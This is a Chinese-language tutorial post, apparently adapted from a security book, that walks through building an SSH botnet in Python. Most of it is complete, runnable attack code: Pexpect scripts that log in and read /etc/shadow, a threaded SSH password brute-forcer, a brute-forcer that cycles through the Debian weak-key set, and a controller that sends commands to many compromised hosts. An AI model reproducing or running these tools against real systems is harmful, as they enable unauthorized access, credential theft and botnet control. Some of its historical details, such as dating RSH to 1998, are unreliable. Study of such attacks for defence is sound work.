1. 程式人生 > >2-用Python搭建一個SSH僵屍網路

2-用Python搭建一個SSH僵屍網路

Morris蠕蟲有三種攻擊方式,其中之一就是用常見的使用者名稱和密碼嘗試登入RSH(remote shell)服務。
RSH是1998年問世的,它為系統管理員提供了一種很棒(儘管不安全)遠端連線一臺機器,並能在主機上執行一系列終端命令對它進行管理的方法。

後來人們在RSH中增加了一個金鑰加密演算法,以保護其經過網路傳遞的資料,這就是SSH(secure shell)協議,最終SSH取代了RSH。

不過,對於防範用常見使用者名稱和密碼嘗試暴力登入的攻擊方式,這並不能起多大的作用。SSH蠕蟲已經被證明是非常成功和常見的攻擊SSH攻擊方式。

Tue Jul 18 13:49:00 2017 [pid 12371]
CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:02 2017 [pid 12370] [user] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:03 2017 [pid 12373] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:05 2017 [pid 12372] [user] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:06 2017 [pid 12375] CONNECT: Client
"140.205.225.191" Tue Jul 18 13:49:08 2017 [pid 12374] [user] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:11 2017 [pid 12374] [user] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:12 2017 [pid 12377] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:14 2017 [pid 12376] [user] FAIL LOGIN: Client
"140.205.225.191" Tue Jul 18 13:49:17 2017 [pid 12376] [user] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:18 2017 [pid 12379] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:20 2017 [pid 12378] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:23 2017 [pid 12378] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:24 2017 [pid 12381] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:27 2017 [pid 12380] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:27 2017 [pid 12383] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:29 2017 [pid 12382] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:30 2017 [pid 12385] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:32 2017 [pid 12384] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:36 2017 [pid 12384] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:36 2017 [pid 12389] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:39 2017 [pid 12388] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:39 2017 [pid 12391] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:42 2017 [pid 12390] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:43 2017 [pid 12393] CONNECT: Client "140.205.225.191" Tue Jul 18 13:49:45 2017 [pid 12392] [root] FAIL LOGIN: Client "140.205.225.191" Tue Jul 18 13:49:46 2017 [pid 12395] CONNECT: Client "140.205.225.191" Tue Jul 18 14:03:05 2017 [pid 12567] CONNECT: Client "39.43.64.192" Tue Jul 18 14:03:09 2017 [pid 12566] [Admin] FAIL LOGIN: Client "39.43.64.192"

這是我阿里雲伺服器上ftp的日誌記錄。伺服器每天都會受到大量的掃描攻擊。

用Pexpect與SSH互動

現在,讓我們來實現自己的暴力破解特定目標使用者名稱/密碼的SSH蠕蟲。
因為SSH客戶端需要使用者與之進行互動,我們指令碼俄必須在傳送進一步的輸入命令之前等待並”理解螢幕輸出的意義。

考慮一下情形:要連線我們架在IP地址127.0.0.1上SSH的機器,應用程式首先會要求我們確認RSA金鑰指紋。

這時我們必須回答“是”,然後才能繼續。接下來,在給我們一個命令提示符之前,應用程式要求我們輸入密碼。
最後,我們還要執行uname -v命令來確定目標機器上系統核心的版本。

➜  ~ ssh [email protected]
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:yFjJtQviMKIarBcVssu8hwxyzoOgg5jrOICm8Eu1t8E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
[email protected]'s password:
linuxbox# uname -v
#63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017

為了能自動完成上述控制檯互動過程,我們需要使用一個第三方Python模組 —— Pexpect.

Pexpect能夠實現與程式互動、等待預期的螢幕輸出,並據此做出不同的響應。這使得它稱為自己暴力破解SSH使用者口令程式的首選工具。

檢測connect()函式。該函式接受引數包括一個使用者名稱、主機和密碼,返回的是以此進行的SSH連線的結果。
然後利用Pexpect庫,我們的程式等待一個”可以預計到的”輸出,可能會出現三種情況:超時、表示主機已使用一個新的公鑰訊息和要求是如密碼的提示。

如果出現超時,那麼session.expect()返回0,用下面的if語句會是別出這一情況,列印一個錯誤訊息返回。
如果child.expect()方法捕獲了ssh_newkey訊息,它會返回1,這會使函式傳送一個”yes”訊息,以接受新的金鑰。
之後,函式等待密碼提示,然後傳送SSH密碼。

import pexpect

PROMPT = ['# ', '>>> ', '> ', "\$ "]


def sen_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)


def connect(user, host, password):
    ssh_newkey = 'are you sure you want to continue connecting'
    conn_str = 'ssh ' + user + '@' + host
    child = pexpect.spawn(conn_str)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
    if ret == 0:
        print('[-] error connecting')
        return

    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])

        if ret == 0:
            print('[-] error connecting')
            return

        child.sendline(password)
        child.expect(PROMPT)
        return child

一旦通過驗證,我們就可以使用一個單獨的command()函式在SSH會話中傳送命令。
command()函式需要接收的引數是一個SSH會話的命令字串。
然後,它向會話傳送命令字串,並等待命令提示符再次出現。
在獲得命令提示符後,該函式把從SSH會話那裡得到的結果打印出來。

import pexpect

PROMPT = ['# ', '>>> ', '> ', "\$ "]


def sen_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)

把所有的這些打包在一起,我們就有了一個可以模擬人的互動行為的連線和控制SSH會話的指令碼.

import pexpect

PROMPT = ['# ', '>>> ', '> ', "\$ "]


def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)


def connect(user, host, password):
    ssh_newkey = 'are you sure you want to continue connecting'
    conn_info = 'ssh ' + user + '@' + host
    child = pexpect.spawn(conn_info)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
    if ret == 0:
        print('[-] error connecting')
        return

    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])

        if ret == 0:
            print('[-] error connecting')
            return

        child.sendline(password)
        child.expect(PROMPT)
        return child


def main():
    host = 'localhost'
    user = 'root'
    password = 'toor'

    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')


if __name__ == '__main__':
    main()

用Pxssh暴力破解SSH密碼

儘管上面這個指令碼讓我們對pexpect有了瞭解,但是還可以用Pxssh進一步簡化它。
Pxssh是一個包含了pexpect庫的專用指令碼,它能用預先寫好的login()、logout()和prompt()函式等直接與SSH進行互動。

from pexpect import pxssh


def send_command(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print(s.before)


def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        return s
    except:
        print('[-] error connecting')
        exit(0)


s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')

指令碼只要再做些小的修改就能是指令碼自動執行暴力破解SSH口令的任務。

除了加一些引數解析程式碼來讀取主機名、使用者名稱和存有待嘗試的密碼的檔案外,我們只需要對connect()函式稍作修改。
如果login()函式執行成功,並且沒有丟擲異常,我們將列印一個訊息,表明密碼已被找到,並把表示密碼一杯找到的全域性布林值設為True。
否則,我們將不過該異常,如果異常顯示密碼被拒絕,我們知道這個密碼不對,讓函式返回即可。
但是,如果異常顯示socket為”read_nonblocking”,可能是SSH伺服器被大量的連線刷爆了,可以稍等一會用相同的密碼再試一次。
此外,如果該異常顯示pxssh命令提示符提取困難,也應該等一會,然後再讓它試一次。

在connect()函式的引數裡有一個布林量release。
由於connect()可以遞迴的呼叫,我們必須讓只有不是有connect()遞迴呼叫的connect()函式才能夠釋放connect_lock訊號。

from pexpect import pxssh
import optparse
import time
from threading import *

maxconnections = 5
connectionlock = BoundedSemaphore(value=maxconnections)

isfound = False
fails = 0


def connect(host, user, password, release):
    global isfound
    global fails

    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print('[+] Password Found: ' + password)
        Found = True
    except Exception as e:
        if 'read_nonblocking' in str(e):
            fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)

    finally:
        if release: connectionlock.release()


def main():
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    parser.add_option('-u', dest='user', type='string', help='specify the user')

    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user

    if host == None or passwdFile == None or user == None:
        print(parser.usage)
        exit(0)

    fn = open(passwdFile, 'r')
    for line in fn.readlines():

        if isfound:
            print("[*] Exiting: Password Found")

            exit(0)
        if fails > 5:
            print("[!] Exiting: Too Many Socket Timeouts")
            exit(0)

        connectionlock.acquire()
        password = line.strip('\r').strip('\n')
        print("[-] Testing: " + str(password))
        t = Thread(target=connect, args=(host, user, password, True))
        child = t.start()


if __name__ == '__main__':
    main()

利用SSH中的弱私鑰

對於SSH伺服器,密碼驗證並不是唯一的手段。除此之外,SSH還能使用公鑰加密的方式進行驗證。
使用這一驗證方式時,伺服器和使用者分別掌握公鑰和私鑰。使用RSA或是DSA演算法,伺服器能生成於SSH登入的金鑰。
一般而言,這是一種非常好的驗證方式。由於能夠生成1024位、2048位,甚至是4096位的金鑰,
這個認證過程就很難像剛才我們利用弱口令進行暴力破解那樣破解掉。

不過,2006年Debian Linux發行版中發生了一件有意思的事情。軟體自動分析工具發現了一行已被開發人員註釋掉的程式碼。
這行程式碼用來確保建立SSH金鑰的資訊足夠大。被註釋掉之後,金鑰的空間的大小的熵值降低到只有15位大小。
僅僅15位的熵意味著不論哪種演算法和金鑰長度,可能的金鑰只有32767個。

Rapid7的CSO和首席架構師HD Moore在兩小時內生成了所有的1024位和2048位演算法的可能的金鑰。
而且,他把結果放到 http://digitaloffense.net/tools/debianopenssl/ 中,使大家都可以下載利用。

wget http://digitaloffense.net/tools/debian-openssl/debian_ssh_dsa_1024_x86.tar.bz2

這個錯誤在兩天之後才被一個安全研究員發現。結果,可以肯定相當多的伺服器上都有這個有漏洞的SSH服務。
如果我們能建立一個利用此漏洞的工具就太棒了。
通過訪問金鑰空間,可以寫一個簡短的Python指令碼逐一暴力嘗試32767個可能的金鑰,
以此來登入一個不用密碼,而是使用公鑰加密演算法舊進行認證的SSH伺服器。
在使用金鑰登入SSH時,我們需要鍵入 ssh [email protected] -i keyfile -o PasswordAuthenication=no 格式的一條命令。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
import optparse
import os
from threading import *

maxconnections = 5
connectionlock = BoundedSemaphore(value=maxconnections)
stop = False
fails = 0


def connect(user, host, keyfile, release):
    global stop
    global fails
    try:
        perm_denied = 'Permission denied'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication=no'
        connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ])
        if ret == 2:
            print('[-] Adding Host to ~/.ssh/known_hosts')
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 3:
            print('[-] Connection Closed By Remote Host')
            fails += 1
        elif ret > 3:
            print('[+] Success. ' + str(keyfile))
            stop = True
    finally:
        if release:
            connectionlock.release()


def main():
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -d <directory>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
    parser.add_option('-u', dest='user', type='string', help='specify the user')

    (options, args) = parser.parse_args()
    host = options.tgtHost
    passDir = options.passDir
    user = options.user

    if host == None or passDir == None or user == None:
        print(parser.usage)
        exit(0)

    for filename in os.listdir(passDir):
        if stop:
            print('[*] Exiting: Key Found.')
            exit(0)
        if fails > 5:
            print('[!] Exiting: Too Many Connections Closed By Remote Host.')
            print('[!] Adjust number of simultaneous threads.')
            exit(0)
        connectionlock.acquire()
        fullpath = os.path.join(passDir, filename)
        print('[-] Testing keyfile ' + str(fullpath))
        t = Thread(target=connect, args=(user, host, fullpath, True))
        child = t.start()


if __name__ == '__main__':
    main()

構建SSH僵屍網路

我們已經能通過SSH控制主機,接下來讓我們繼續同時控制多臺主機。
攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。
我們稱之為僵屍網路,因為被黑掉的電腦會像殭屍一樣執行指令。

在僵屍網路中,每個單獨的殭屍或client都需要有能連上某臺肉機,併發命令傳送給肉機的能力。

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pexpect import pxssh


class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print(e)
            print('[-] error connecting')

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before


def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print('[*] Output from ' + client.host)
        print('[+] ' + output)


def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)


botNet = []
addClient('127.0.0.1', 'root', 'toor')
addClient('127.0.0.1', 'root', 'toor')
addClient('127.0.0.1', 'root', 'toor')

botnetCommand('uname -v')
botnetCommand('cat /etc/issue')